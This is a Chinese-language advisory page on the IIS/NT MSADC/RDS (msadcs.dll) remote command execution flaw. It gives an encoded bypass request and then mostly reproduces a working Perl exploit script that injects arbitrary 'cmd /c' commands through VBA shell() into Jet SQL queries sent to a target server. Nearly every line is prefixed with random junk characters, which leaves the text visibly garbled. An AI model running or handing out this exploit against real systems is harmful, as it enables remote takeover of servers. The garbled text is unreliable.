IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
g9pZ\$J& $p8xEcQdU# 涉及程序:
iozt&~o Microsoft NT server
X #dmo/L8 :k]1Lm|| 描述:
h^45,E C 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
[^n.Pn s D8Ic?:iX[ 详细:
dbLZc$vPj 如果你没有时间读详细内容的话,就删除:
OO\+J c:\Program Files\Common Files\System\Msadc\msadcs.dll
YDsb3X<0' 有关的安全问题就没有了。
;V_e>TyG GAzU?a{S 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
H'5)UX@LP uC vj! 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
"!P3R1;% 关于利用ODBC远程漏洞的描述,请参看:
~NgA b6M[q_ http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm tFn)aa~L unzr0x
{ 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
`7Q<'oK http://www.microsoft.com/security/bulletins/MS99-025faq.asp gaxsv[W>^ +^ac'Y)A 这里不再论述。
P:S .~Jq A 'be8 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
@s&71a Q} JOU /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
2W(s(-hD 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
m 0C@G5 X05/uX{ /62!cp/F/D #将下面这段保存为txt文件,然后: "perl -x 文件名"
P5V}#;v !n!*/[}X #!perl
8nqG<!,q #
s[*rzoA # MSADC/RDS 'usage' (aka exploit) script
.sW|Id ) #
ODN/G%l # by rain.forest.puppy
Paq4 #
2qNt,;DQ # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
$Wol?)z # beta test and find errors!
MY)O^I X$ +E+p"7 use Socket; use Getopt::Std;
rKc9b<Ir getopts("e:vd:h:XR", \%args);
s^TZXCyF o FGJ1dBLr print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
]cvwIc"> 0auYG><= if (!defined $args{h} && !defined $args{R}) {
>uB?rGcM print qq~
By,eETU] Usage: msadc.pl -h <host> { -d <delay> -X -v }
b_krk\e@S -h <host> = host you want to scan (ip or domain)
aKDKmHd -d <seconds> = delay between calls, default 1 second
;1=1:S8 -X = dump Index Server path table, if available
xa*hi87L* -v = verbose
r<EY]f^`u -e = external dictionary file for step 5
R^fPIv`q ]0OR_'?, Or a -R will resume a command session
2'Uu:Y^ J{<X7uB ~; exit;}
CxmKz78 ~P
qM]^ $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
E=Bf1/c\ if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
RC"MdcD:]y if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
:,7hWs if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
ttQGoUkj $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
{fM'6;ak if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
~=LE0. 3[ hE/cd1iJ$ if (!defined $args{R}){ $ret = &has_msadc;
) q4[zv9 die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
^
+\dz #%2rP'He print "Please type the NT commandline you want to run (cmd /c assumed):\n"
UDFDJm$ . "cmd /c ";
;;t yoh~t $in=<STDIN>; chomp $in;
(,2SXV $command="cmd /c " . $in ;
h"W,WxL8 A{zN| S[ if (defined $args{R}) {&load; exit;}
(mB&m@-N 2pCaX\t print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
Rv>-4@fMJ &try_btcustmr;
Q{>k1$fkV
K5 z<3+ print "\nStep 2: Trying to make our own DSN...";
KF}hV9IU &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
Dy&i&5E.-l = svN#q5s print "\nStep 3: Trying known DSNs...";
q<<v,ihh &known_dsn;
wJqMa9| o/)h"i0P print "\nStep 4: Trying known .mdbs...";
JR|ck=tq &known_mdb;
r;2^#6/Z |e&\<LwsP if (defined $args{e}){
3}1u\(Mf print "\nStep 5: Trying dictionary of DSN names...";
pki%vRY &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
r5/0u(\LB ^76]0`gS print "Sorry Charley...maybe next time?\n";
9FR5Jw>t exit;
N"R]Yp;j HiFUv>,u ##############################################################################
@HC Vmg: ~~P5k: sub sendraw { # ripped and modded from whisker
I{2hfKUe` sleep($delay); # it's a DoS on the server! At least on mine...
Zx@a/jLO[n my ($pstr)=@_;
5DZ#9m/ socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
}<r)~{UV die("Socket problems\n");
$PPi5f}HD if(connect(S,pack "SnA4x8",2,80,$target)){
Zi
i select(S); $|=1;
Q&;9x? e print $pstr; my @in=<S>;
?V=ZIGj select(STDOUT); close(S);
ru%y return @in;
EZGIf/ 3 } else { die("Can't connect...\n"); }}
*^4"5X@ eByz-,{P ##############################################################################
e*C(q~PQ _H%c;z+ sub make_header { # make the HTTP request
B 3I`40# my $msadc=<<EOT
HC8e>kP9b POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
'<<t]kK[N User-Agent: ACTIVEDATA
L*+@>3mu) Host: $ip
ITBE|b Content-Length: $clen
p
l0\2e) Connection: Keep-Alive
3$R1ipb e !Y~Qy ADCClientVersion:01.06
!pW0qX\1n Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
T^KKy0ZGM 59A}}.@?m --!ADM!ROX!YOUR!WORLD!
)akoa,#%6c Content-Type: application/x-varg
LL!Dx%JZ Content-Length: $reqlen
8<.Oq4ku Il'fL'3 EOT
t*u:hex ; $msadc=~s/\n/\r\n/g;
+6\Zj) return $msadc;}
n\53w h@+ W!(zT6# ##############################################################################
Q%G8U#Tm AkV#J,
3LC sub make_req { # make the RDS request
eMsd37J my ($switch, $p1, $p2)=@_;
CTa57R my $req=""; my $t1, $t2, $query, $dsn;
q} >%8;nm O>,e~#! if ($switch==1){ # this is the btcustmr.mdb query
t~XN}gMxw $query="Select * from Customers where City=" . make_shell();
yf+)6D -9n $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
oPM96
( $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
T5h
H 4[eXe$ elsif ($switch==2){ # this is general make table query
zF<R'XP $query="create table AZZ (B int, C varchar(10))";
@9s$4DS $dsn="$p1";}
H{wl% G L4HI0Mx elsif ($switch==3){ # this is general exploit table query
/4Gt{ygSr $query="select * from AZZ where C=" . make_shell();
5j(k:a+!H $dsn="$p1";}
~>|ziHx 8 Z~EwY* elsif ($switch==4){ # attempt to hork file info from index server
%h@EP[\ $query="select path from scope()";
&8lZNv8;(p $dsn="Provider=MSIDXS;";}
e"<OELA L0o\J` : elsif ($switch==5){ # bad query
GTd,n= $query="select";
.k !{* $dsn="$p1";}
MTn{d (<9u-HF# $t1= make_unicode($query);
]=BB# $t2= make_unicode($dsn);
[W&T(%(W- $req = "\x02\x00\x03\x00";
S9.o/mr $req.= "\x08\x00" . pack ("S1", length($t1));
77Dn97l)& $req.= "\x00\x00" . $t1 ;
7@Qcc t4A $req.= "\x08\x00" . pack ("S1", length($t2));
ZECfR>`x $req.= "\x00\x00" . $t2 ;
e^voW"?% $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
<5051UEu return $req;}
2+XAX:YD ;V!D:5U ##############################################################################
@VEb{ w[H }K(TjZR sub make_shell { # this makes the shell() statement
9*M,R,y return "'|shell(\"$command\")|'";}
@yYkti;4- F^:3?JA_ ##############################################################################
t6c4+D'{]. gbA_DZ sub make_unicode { # quick little function to convert to unicode
B+`g>h my ($in)=@_; my $out;
C U0YIL for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
ob]w;" return $out;}
hZb_P\1X ;xTpE2 -~ ##############################################################################
SXh-A1t "tK=+f`NM sub rdo_success { # checks for RDO return success (this is kludge)
PKz':_| my (@in) = @_; my $base=content_start(@in);
p_4<6{KEt if($in[$base]=~/multipart\/mixed/){
m&3xJuKih return 1 if( $in[$base+10]=~/^\x09\x00/ );}
~}
~4 return 0;}
/;$[E !ohN!P7& ##############################################################################
8oGRLYU N 2 %]X+`+O sub make_dsn { # this makes a DSN for us
AbM'3Mkz my @drives=("c","d","e","f");
HoAy_7-5 print "\nMaking DSN: ";
2=}FBA,2 foreach $drive (@drives) {
[-w%/D%@ print "$drive: ";
Hl=xW/%6y my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
2\$oV "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
BgT*icd8d . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
c71y'hnT $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
!4!~Lk= return 0 if $2 eq "404"; # not found/doesn't exist
bN.Pex if($2 eq "200") {
-{vD:Il=6 foreach $line (@results) {
kJR`:J3DJ return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
%C]>9." } return 0;}
!G|@6W` dO\"?aiD ##############################################################################
l[J8!u2Xp P+}h$_x sub verify_exists {
zt%Mx>V@ my ($page)=@_;
WIGi51yC.x my @results=sendraw("GET $page HTTP/1.0\n\n");
rJB}qYD return $results[0];}
9gIrt 6 6]wIG$j ##############################################################################
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